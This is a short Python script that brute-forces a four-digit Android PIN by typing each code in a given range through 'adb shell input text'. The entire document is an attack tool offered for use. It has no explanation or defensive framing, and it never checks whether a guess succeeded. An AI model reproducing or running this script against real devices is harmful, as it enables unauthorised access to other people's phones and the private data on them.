import pexpect
import time
import sys

def send_pin(pin):
    child = pexpect.spawn('adb shell input text ' + pin)
    child.expect(pexpect.EOF)

def bruteforce(start, end):
    for i in range(start, end+1):
        send_pin(str(i).zfill(4))
        time.sleep(1)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python3 android_bruteforce.py <start> <end>")
        sys.exit(1)

    start = int(sys.argv[1])
    end = int(sys.argv[2])

    bruteforce(start, end)